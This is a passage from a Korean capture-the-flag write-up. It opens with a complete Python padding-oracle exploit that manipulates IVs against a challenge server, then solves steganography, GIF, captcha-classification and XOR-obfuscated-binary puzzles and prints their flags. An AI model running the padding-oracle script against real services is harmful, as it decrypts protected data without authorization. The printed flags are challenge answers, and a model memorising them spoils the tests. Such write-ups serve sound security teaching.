  • ๋™์ผํ•œ ๋ฐฉ์‹์œผ๋กœ 0x01 ๋ถ€ํ„ฐ 0x08๊นŒ์ง€ ํŒจ๋”ฉ์„ ๊ฐ€์ •ํ•˜์—ฌ IV ๊ฐ’์„ ๋ณ€๊ฒฝํ•˜๋ฉฐ ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๊ณ , invalid ์‘๋‹ต์„ ๊ฒฝ์šฐ์˜ ๊ฐ’์„ iv๋กœ ๋‘๊ณ  ๊ทธ๋•Œ์˜ ํŒจ๋”ฉ ๊ฐ’๊ณผ xor ํ•˜์—ฌ intermediary value ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ๊ณ  intermediary value ๊ฐ’๊ณผ ์ด๋ฏธ ์•Œ๊ณ ์žˆ๋Š” iv ๊ฐ’์„ xor ํ•˜์—ฌ plain ๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

FlAG ํš๋“!

Exploit code

import base64
from urllib.parse import quote, unquote
import binascii
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# paload send
def send_payload(s, payload_iv, payload_ciphertext):
    # variable initialization
	url = ""
	headers = {}
	params = {}
	data = {}

    # URL setting
	url = 'http://1-star.kr/onestar/padding/module.php'

    # params setting
	params = {'iv': base64.b64encode(payload_iv), 'ciphertext': base64.b64encode(payload_ciphertext)}

    # data setting
	data = OrderedDict()

    # send packet
	r = s.get(url, params=params, verify=False)
	return r.text

def xor(data, key):
	output = bytearray()
	for i, ch in enumerate(data):
		output.append(ch ^ key[i % len(key)])
	return bytes(output)

# hex
def hex_view(data):
	temp = data.hex()
	ret = ""
	for i in range(0, len(temp), 2):
		ret += temp[i:i+2] + " "
	return ret

iv=base64.b64decode(unquote("QjA2bGwxVTM%3D"))
enc=base64.b64decode(unquote("EJA3gltQjV4%3D"))
inter=b''
s = requests.Session()

print("I V => {}".format(hex_view(iv)))
print("ENC => {}".format(hex_view(enc)))

#make iv 1~len(iv)+1 
for i in range(1,len(iv)+1):
	print ("===========================================")
	print ("i: ",i)
	start = iv[:len(iv)-i]
	print ("start: ", hex_view(start))
	print ("bytes([i]): ", bytes([i]))
	for j in range(0,0xff+1):
		print ("j: ",j)
		target = start + bytes([j]) + xor(inter[::-1], bytes([i]))
		res = send_payload(s, target, enc)
		print("target: ", hex_view(target), "=>", target)
		#print(hex_view(enc), "=>", enc)
		#print(res)
		if 'Invalid padding.' not in res:
			print(res)
			break
	inter += bytes([i ^ j])
	print("inter: ", hex_view(inter[::-1]))
	print("inter: ", hex_view(inter[::-1]))

# inter xor iv => plain
inter = inter[::-1]
plain = xor(inter, iv)
print("plain =>", plain)

๐Ÿ–ฅ๏ธ MISC

'gif't


๋ฌธ์ œ์— ๋Œ€ํ•œ ๊ฐ„๋‹จ ์„ค๋ช…

๐Ÿ’ก
easy gif misc
  • ๋ฌธ์ œ์˜ ๊ทธ๋ฆผ์—์„œ gif ๊ทธ๋ฆผ์„ ๋ณด๋ฉด ๋ฐ˜์ง์ด๋Š” ๊ธ€์ž๊ฐ€ ๋‘ ์œ„์น˜์—์„œ ๋ฐ˜์ง์ด๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ์ด ๊ทธ๋ฆผ์ด ๋ฌธ์ œ ํŒŒ์ผ์ด๋‹ค.
  • ์ด gif ํŒŒ์ผ์„ ๋ณด๋ฉด 16์ง„์ˆ˜๋กœ ๋‘ ๊ฐœ์˜ ๊ธ€์ž๊ฐ€ ์™”๋‹ค๊ฐ”๋‹ค ํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.
  • ํ’€์ดํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์–‘ํ•˜๊ฒŒ ์žˆ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํ•˜๋‚˜ํ•˜๋‚˜ ์„ค๋ช…ํ•˜์ง€ ์•Š๊ณ , ํŒŒ์ผ ๋‚ด๋ถ€์˜ gif ๊ตฌ์„ฑ์„ ๋ณด์—ฌ์ฃผ๋„๋ก ํ•˜๊ฒ ๋‹ค.
  • ์œ„์™€ ๊ฐ™์ด ์ด๋ฏธ์ง€๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋ฅผ ์ญˆ์šฑ ๋”ฐ๋ผ ์ž‘์„ฑํ•˜์—ฌ 16์ง„์ˆ˜๋ฅผ ascii๋กœ ๋ณ€ํ™˜ํ•˜๊ฒŒ ๋˜๋ฉด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ๊ฐ„๋‹จํ•œ ๋ฌธ์ œ๋‹ค.

Hide And Seek


๐Ÿ’ก
์ด ๋ฌธ์ œ์—์„œ๋Š” stego.png ํŒŒ์ผ์ด ์ฃผ์–ด์ง„๋‹ค. ์ฃผ์–ด์ง„ ํŒŒ์ผ์˜ ์ด๋ฆ„์— ๋‚˜ํƒ€๋‚˜๋“ฏ Stegography ๋ฌธ์ œ์˜ ์ผ์ข…์œผ๋กœ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ฌธ์ œ์˜ ์ด๋ฏธ์ง€๋ฅผ ์ž˜ ๋ณด๋ฉด ์•„๋ž˜ ๊ฒ€์€์ƒ‰ ์˜์—ญ์— ์ดˆ๋ก์ƒ‰ ์ ๋“ค์ด ์ผ๋ถ€ ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์ด๋ฏธ์ง€์˜ PIXEL์„ ๊ตฌ์„ฑํ•˜๋Š” ๊ตฌ๋ถ„ ๊ฐ’ R,G,B,A ์ค‘ A ๊ฐ’(ํˆฌ๋ช…๋„)์„ ํ™œ์šฉํ•˜์—ฌ Flag๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฌธ์ œ๋‹ค.
  • ์ฃผ์–ด์ง„ ์ด๋ฏธ์ง€์—์„œ A๊ฐ’(ํˆฌ๋ช…๋„)๊ฐ€ 0xFF๊ฐ€ ์•„๋‹Œ ์ขŒํ‘œ๋“ค๊ณผ ๊ทธ ์ขŒํ‘œ์— ํ•ด๋‹นํ•˜๋Š” Pixel์˜ R,G,B,A ๊ฐ’๋“ค์„ ์ถ”์ถœํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.
(x,y) => (r,g,b,a)
===============================
(1,416)	=> (13,110,20,170)	=> 'n'
(32,1172)	=> (0,103,0,167)	=> 'g'
(45,967)	=> (15,105,24,163)	=> 'i'
(113,1004)	=> (17,71,28,172)	=> 'G'
(160,1010)	=> (17,66,26,174)	=> 'B'
(161,704)	=> (16,116,25,176)	=> 't'
(192,110)	=> (17,70,35,154)	=> 'F'
(289,983)	=> (17,98,28,152)	=> 'b'
(301,736)	=> (17,95,26,173)	=> '_'
(312,1265)	=> (0,103,0,157)	=> 'g'
(359,887)	=> (17,64,27,156)	=> '@'
(395,600)	=> (202,95,163,161)	=> '_'
(415,45)	=> (18,105,36,175)	=> 'i'
(445,1106)	=> (17,98,33,150)	=> 'b'
(453,256)	=> (202,105,163,169)	=> 'i'
(456,783)	=> (18,105,30,159)	=> 'i'
(480,433)	=> (31,95,57,171)	=> '_'
(533,833)	=> (20,110,34,166)	=> 'n'
(557,90)	=> (25,95,44,168)	=> '_'
(643,1106)	=> (17,111,33,151)	=> 'o'
(668,818)	=> (17,123,27,153)	=> '{'
(674,677)	=> (30,105,34,165)	=> 'i'
(686,55)	=> (18,100,36,164)	=> 'd'
(801,54)	=> (17,108,35,155)	=> 'l'
(917,292)	=> (18,36,35,177)	=> '$'
(968,574)	=> (15,72,25,162)	=> 'H'
(970,1039)	=> (0,125,0,178)	=> '}'
(972,801)	=> (17,95,29,158)	=> '_'
(987,922)	=> (17,115,26,160)	=> 's'
  • ์œ„ ๊ฐ’๋“ค์—์„œ ์ค‘์š”ํ•œ ๊ฐ’๋“ค์€ G์— ํ•ด๋‹นํ•˜๋Š” ๊ฐ’๋“ค๊ณผ A์— ํ•ด๋‹นํ•˜๋Š” ๊ฐ’๋“ค์ด๋‹ค.
  • G๋Š” Flag์˜ ๊ฐ ๋ฌธ์ž๋“ค์„ ์˜๋ฏธํ•˜๋ฉฐ, A๋Š” ๋ฌธ์ž๋“ค์˜ Index๋ฅผ ์˜๋ฏธํ•œ๋‹ค.
  • G ๊ฐ’๋“ค์„ A์˜ ๊ฐ’์— ๋”ฐ๋ผ ๋‚˜์—ดํ•˜๋ฉด Flag๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.
  • Flag : bob{Fl@g_is_Hiding_in_G_Bit$}

Catcha


๐Ÿ’ก
์•ฝ 5๋งŒ์žฅ์˜ ๊ฐ•์•„์ง€์™€ ๊ณ ์–‘์ด ์‚ฌ์ง„์ด ๋žœ๋ค์œผ๋กœ ๋‚˜์˜ค๋ฉฐ, 1์ดˆ ์•ˆ์— ์‚ฌ์ง„์— ๋‚˜์˜จ ๋™๋ฌผ์ด ๊ฐ•์•„์ง€์ธ์ง€ ๊ณ ์–‘์ด์ธ์ง€ ๋งž์ถฐ์•ผ ํ•˜๋Š” captcha solver ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. 300๊ฐœ์˜ ์Šคํ…Œ์ด์ง€๋ฅผ ๋ชจ๋‘ ํด๋ฆฌ์–ดํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ถœ์ œ ์˜๋„๋Š” ์ผ์ข…์˜ '์ž๋™ ์˜์‚ฌ ๊ฒฐ์ •๊ธฐ'๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋Š”๊ฐ€?' ์ด๋‹ค.

์˜๋„ํ–ˆ๋˜ ํ’€์ด๋Š” ์‚ฌ์‹ค CNN๊ณผ GAN์„ ์ ์ ˆํžˆ ์„ž์–ด ํ•˜๋‚˜์˜ ์•™์ƒ๋ธ” ๋ชจ๋ธ์„ ์ปดํŒŒ์ผํ•˜๊ณ  ์ฃผ์–ด์ง„ ๋ฐ์ดํ„ฐ์…‹์œผ๋กœ ํ•™์Šต ํ›„ ์ •๋‹ต์„ ์˜ˆ์ธกํ•˜๋Š” ๊ฒƒ์ด์˜€์œผ๋‚˜, ๋ฌธ์ œ์˜ ๋‚œ์ด๋„๋ฅผ ํ•˜ํ–ฅ ์กฐ์ ˆ ํ•˜๋‹ค ๋ณด๋‹ˆ(...) ๋ฌธ์ œ์— ์ œ๊ณต๋˜๋Š” ๋ฐ์ดํ„ฐ์…‹์„ ์ „๋ถ€ ์ œ๊ณตํ•˜๊ฒŒ ๋˜์—ˆ๊ณ , ๊ทธ๋กœ ์ธํ•ด ๋”ฐ๋กœ ๋ชจ๋ธ์„ ์ปดํŒŒ์ผํ•˜์ง€ ์•Š๊ณ  ์ฃผ์–ด์ง„ ๋ฐ์ดํ„ฐ์…‹์œผ๋กœ ์ผ์ข…์˜ hash table์„ ๋งŒ๋“ค์–ด ๋ฌธ์ œ๋ฅผ ํ’€์ดํ•  ์ˆ˜ ์žˆ๋‹ค.

๋จธ์‹ ๋Ÿฌ๋‹์œผ๋กœ ํ’€๊ธฐ

๋ถ„๋ฅ˜ํ•ด์•ผ ํ•  ๋ฐ์ดํ„ฐ๊ฐ€ ์ด๋ฏธ์ง€์ด๊ธฐ ๋•Œ๋ฌธ์— CNN(Convolutional Neural Network) ๋ชจ๋ธ์„ ์‚ฌ์šฉํ•œ๋‹ค. ์ฃผ์–ด์ง„ ๋ฐ์ดํ„ฐ์…‹์˜ ์ด๋ฏธ์ง€ ์‚ฌ์ด์ฆˆ๊ฐ€ ๋ชจ๋‘ ์ œ๊ฐ๊ฐ์ด๊ธฐ ๋•Œ๋ฌธ์— ์–ด๋Š์ •๋„์˜ preprocessingย ์ด ํ•„์š”ํ•˜๋‹ค. ๋˜ํ•œ ํ›ˆ๋ จ์˜ ์—ฐ์‚ฐ๋Ÿ‰์„ ์ค„์—ฌ ํ›ˆ๋ จ ํšจ์œจ์„ ๋†’์ด๊ธฐ ์œ„ํ•ด ์ด๋ฏธ์ง€๋ฅผ grayscale๋กœ ๋ณ€ํ™˜ํ–ˆ๋‹ค.

  1. ์ด๋ฏธ์ง€ ์ „์ฒ˜๋ฆฌ (Preprocessing)
    import numpy as np
    import pandas as pd
    import cv2
    import tensorflow as tf
    from tensorflow.keras.models import Sequential
    from tensorflow.keras.layers import Dense, Flatten, Dropout, Activation, Conv2D, MaxPooling2D
    
    path = './dataset/train'
    
    X = []
    y = [] # target
    convert = lambda category : int(category == 'dog')
    
    def preprocess(path):
        for p in os.listdir(path):
            category = p.split(".")[0]
            category = convert(category)
            img_array = cv2.imread(os.path.join(path,p),cv2.IMREAD_GRAYSCALE)
            new_img_array = cv2.resize(img_array, dsize=(80, 80))
            X.append(new_img_array)
            y.append(category)
    
    # preprocess the data
    preprocess(path)
    X = np.array(X).reshape(-1, 80,80,1)
    y = np.array(y)
    
    # normalize data
    X = X/255.0

  1. ๋ชจ๋ธ ๋นŒ๋“œ ๋ฐ ์ปดํŒŒ์ผ
    model = Sequential()
    
    # add a densely-connected layer with 64 units to the model:
    model.add(Conv2D(64,(3,3), activation = 'relu', input_shape = X.shape[1:]))
    model.add(MaxPooling2D(pool_size = (2,2)))
    
    # add another layer:
    model.add(Conv2D(64,(3,3), activation = 'relu'))
    model.add(MaxPooling2D(pool_size = (2,2)))
    
    model.add(Flatten())
    model.add(Dense(64, activation='relu'))
    
    # add a softmax layer with 10 output units:
    model.add(Dense(1, activation='sigmoid'))
    
    model.compile(optimizer="adam",
                  loss='binary_crossentropy',
                  metrics=['accuracy'])

  1. ๋ชจ๋ธ ํ•™์Šต
    model.fit(X, y, epochs=10, batch_size=32, validation_split=0.2)

  1. ์ด๋ฏธ์ง€ ์˜ˆ์ธก
    cv2.imread(path, cv2.IMREAD_GRAYSCALE)
    # resize
    cv2.resize(img_array, dsize=(80,80))
    # reshape
    data = np.array(data).reshape(-1,80,80,1)
    # normalize
    data = data/255.0
    
    # predict
    model.predict(data)

    ์ดํ›„, ํ•™์Šตํ•œ ๋ชจ๋ธ์„ ์ด์šฉํ•ด ๋ฌธ์ œ ์ด๋ฏธ์ง€๋ฅผ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๋ฐ›์•„์˜ค๊ณ  ๋ฌธ์ œ์˜ ์ •๋‹ต์„ ์˜ˆ์ธกํ•œ ๋’ค ์ •๋‹ต์„ ์„œ๋ฒ„๋กœ ์ „์†กํ•˜๋ฉด ๋œ๋‹ค.

hashtable๋กœ ํ’€๊ธฐ

์†Œ์Šค์ฝ”๋“œ์— ๋‚˜์™€์žˆ๋Š” kaggle competition์— ์ ‘์†ํ•˜์—ฌ ์ฃผ์–ด์ง„ ๋ฐ์ดํ„ฐ์…‹์„ ๋ชจ๋‘ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์€ ๋‹ค์Œ hash table ์„ ์ œ์ž‘ํ•œ๋‹ค. ์ดํ›„ ๋ฌธ์ œ ์ด๋ฏธ์ง€์— ํ•ด๋‹นํ•˜๋Š” hash๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฌธ์ œ์˜ ์ •๋‹ต์„ ๊ตฌํ•œ๋‹ค.

verrox


๐Ÿ’ก
description์„ ์‚ดํŽด๋ณด๋ฉด ์„ธ์ƒ์ด ๋’ค์ง‘์–ด์ง„ ๊ฒƒ ๊ฐ™๋‹ค๋Š” ๋ง์„ ํ•˜๊ณ  ์žˆ๋‹ค. verrox๋ฅผ ๋’ค์ง‘์œผ๋ฉด xorrev์ด๋ฉฐ, xor + rev๋ผ๋Š” ๊ฒƒ์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ reverseํ•œ ํ›„ 8๋ฐ”์ดํŠธ xor ํ‚ค๋ฅผ ๊ตฌํ•ด ์—ฐ์‚ฐํ•˜๋ฉด ์›๋ณธ ELF ํŒŒ์ผ์ด ๋‚˜์˜ค๊ฒŒ ๋˜๋ฉฐ, ์‹คํ–‰ ์‹œ ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

1. xor key

  • ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ hexdump, hxd ๋“ฑ์œผ๋กœ ์‚ดํŽด๋ณด๋ฉด 0x231f33f2aa2d7ed2๊ฐ€ ์ƒ๋‹นํžˆ ๋งŽ์ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • 8๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ 0x231f...๊ฐ€ ๋ฐ˜๋ณต๋˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— 8๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ xor ์—ฐ์‚ฐ์„ ํ–ˆ๋‹ค๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ๋˜ํ•œ, elf ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๊ฒฝ์šฐ null byte์˜ ๋ฐ˜๋ณต์ด ๋งŽ๊ธฐ ๋•Œ๋ฌธ์— xor key๋Š” 0x231f33f2aa2d7ed2๋กœ ๊ฐ€์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

2. ํ’€์ด

#coding: utf-8

import struct


data = b''
with open("verrox", "rb") as f:
    data = f.read()

with open("xorrev", "wb") as f:
    key = b"\x23\x1f\x33\xf2\xaa\x2d\x7e\xd2"
    res = b""
    for i in range(0, len(data)):
        res += struct.pack("B", data[i]^key[i%8])

    res = res[::-1]
    f.write(res)
  • ํ•ด๋‹น xor key๋ฅผ ์ด์šฉํ•˜์—ฌ 8๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ xor์—ฐ์‚ฐ ํ›„ reverse ํ•ด์ฃผ๊ฒŒ ๋˜๋ฉด ์›๋ณธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ์–ป์–ด๋‚ธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.
  • FLAG : bob{royal_macaron_is_very_tasty_you_know?}